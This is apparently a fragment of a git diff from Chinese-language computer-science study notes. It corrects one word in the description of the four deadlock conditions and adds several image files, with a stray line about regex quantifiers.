**{n}** 匹配 n 个字符,**{m, n}** 匹配 m\~n 个字符,**{m,}** 至少匹配 m 个字符;
|
**{n}** 匹配 n 个字符,**{m, n}** 匹配 m\~n 个字符,**{m,}** 至少匹配 m 个字符;
|
||||||
|
|
|
@ -564,7 +564,7 @@ Linux 中管道通过空文件实现。
|
||||||
|
|
||||||
1. 互斥:每个资源要么已经分配给了一个进程,要么就是可用的。
|
1. 互斥:每个资源要么已经分配给了一个进程,要么就是可用的。
|
||||||
2. 占有和等待:已经得到了某个资源的进程可以再请求新的资源。
|
2. 占有和等待:已经得到了某个资源的进程可以再请求新的资源。
|
||||||
3. 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显示地释放。
|
3. 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显式地释放。
|
||||||
4. 环路等待:有两个或者两个以上的进程组成一条环路,该环路中的每个进程都在等待下一个进程所占有的资源。
|
4. 环路等待:有两个或者两个以上的进程组成一条环路,该环路中的每个进程都在等待下一个进程所占有的资源。
|
||||||
|
|
||||||
## 死锁的处理方法
|
## 死锁的处理方法
|
||||||
|
|
BIN
pics/39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png
Normal file
After Width: | Height: | Size: 39 KiB |
BIN
pics/540631a4-6018-40a5-aed7-081e2eeeaeea.png
Normal file
After Width: | Height: | Size: 23 KiB |
BIN
pics/7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png
Normal file
After Width: | Height: | Size: 36 KiB |
BIN
pics/8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png
Normal file
After Width: | Height: | Size: 20 KiB |
BIN
pics/PPjwP.png
Normal file
After Width: | Height: | Size: 363 KiB |
BIN
pics/bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg
Normal file
After Width: | Height: | Size: 39 KiB |
BIN
pics/c812c28a-1513-4a82-bfda-ab6a40981aa0.png
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
pics/f5757d09-88e7-4bbd-8cfb-cecf55604854.png
Normal file
After Width: | Height: | Size: 13 KiB |